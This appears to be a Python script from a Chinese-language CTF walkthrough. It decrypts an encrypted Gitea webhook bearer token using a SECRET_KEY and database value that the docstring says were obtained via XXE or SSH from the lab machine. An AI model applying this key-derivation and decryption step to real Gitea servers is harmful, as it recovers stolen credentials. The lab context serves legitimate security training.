﻿#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Gitdwn 靶机 — Gitea Webhook Bearer Token 解密脚本
=====================================================
解密 Gitea webhook 表中 header_authorization_encrypted 字段。
Gitea 使用 AES-256-CFB 模式加密敏感字段:
  - Key: SHA256(SECRET_KEY) → 32 bytes
  - IV: 加密数据的前 16 bytes
  - Ciphertext: 加密数据的第 17 字节起

用法:
    # 解密单个加密值
    python3 03_gitea_webhook_decrypt.py

    # 交互式输入
    python3 03_gitea_webhook_decrypt.py --interactive

前提:
    需要先通过 XXE 或 SSH 获取:
    1. SECRET_KEY (来自 /etc/gitea/app.ini)
    2. header_authorization_encrypted (来自 gitea.db webhook 表)

依赖:
    pip install pycryptodome
"""

import sys
import hashlib
import base64
from Crypto.Cipher import AES


# ============================================================
# 从靶机获取的实际值
# ============================================================
SECRET_KEY = "mazesec_ctf_key_123"
ENCRYPTED_HEX = "e4a28a7a1dd990616c1314e61f5958f83717fbea95af00eadaa0e4bd65d8e771338ca3a175f57d33fd05ea81"


def decrypt_gitea_webhook(secret_key, encrypted_hex):
    """
    解密 Gitea 加密的 webhook header_authorization_encrypted 字段。

    Gitea 加密格式 (modules/secret/secret.go):
      - Key = SHA256(SECRET_KEY) → 取前 32 bytes
      - IV = 加密数据前 16 bytes
      - 加密算法 = AES-256-CFB (segment_size=128 bit)
      - 密文 = 加密数据从第 17 字节开始

    Args:
        secret_key: Gitea SECRET_KEY (app.ini → [security])
        encrypted_hex: webhook 表中 header_authorization_encrypted

    Returns:
        解密后的明文字符串
    """
    # Step 1: 派生 AES Key
    key = hashlib.sha256(secret_key.encode()).digest()
    print(f"[*] SECRET_KEY: {secret_key}")
    print(f"[*] AES Key:    {key.hex()}")
    print(f"[*] Key length: {len(key)} bytes (AES-256)")

    # Step 2: 解析加密数据
    encrypted = bytes.fromhex(encrypted_hex)
    iv = encrypted[:16]        # 前 16 bytes = IV
    ciphertext = encrypted[16:]  # 剩余 = 密文

    print(f"[*] Encrypted:  {len(encrypted)} bytes")
    print(f"[*] IV:         {iv.hex()}")
    print(f"[*] Ciphertext: {ciphertext.hex()} ({len(ciphertext)} bytes)")

    # Step 3: AES-256-CFB 解密
    cipher = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128)
    plaintext = cipher.decrypt(ciphertext)

    print(f"[*] Plaintext:  {plaintext}")
    return plaintext.decode("utf-8", errors="replace")


def main():
    if "--interactive" in sys.argv or "-i" in sys.argv:
        secret_key = input("SECRET_KEY: ").strip() or SECRET_KEY
        encrypted_hex = input("header_authorization_encrypted: ").strip() or ENCRYPTED_HEX
    else:
        secret_key = SECRET_KEY
        encrypted_hex = ENCRYPTED_HEX
        print("[*] 使用预设值，可通过 --interactive 交互式输入\n")

    result = decrypt_gitea_webhook(secret_key, encrypted_hex)

    print(f"\n{'='*60}")
    print(f"解密结果: {result}")
    print(f"{'='*60}")

    # 尝试二次 Base64 解码 (Gitea webhook Bearer token 通常 base64 编码)
    try:
        # 如果结果是 "Bearer <base64>" 格式
        if result.startswith("Bearer "):
            inner_b64 = result.split(" ", 1)[1]
            inner_decoded = base64.b64decode(inner_b64).decode("utf-8", errors="replace")
            print(f"\n[*] 二次解码 (Bearer Token → Base64):")
            print(f"    {result}")
            print(f"    ↓ 去掉 'Bearer ' 前缀后 Base64 解码")
            print(f"    {inner_decoded}")
    except Exception:
        pass

    # 也尝试对完整结果做 Base64 解码
    try:
        decoded = base64.b64decode(result).decode("utf-8", errors="replace")
        if decoded != result:
            print(f"\n[*] 完整结果 Base64 解码: {decoded}")
    except Exception:
        pass


if __name__ == "__main__":
    main()
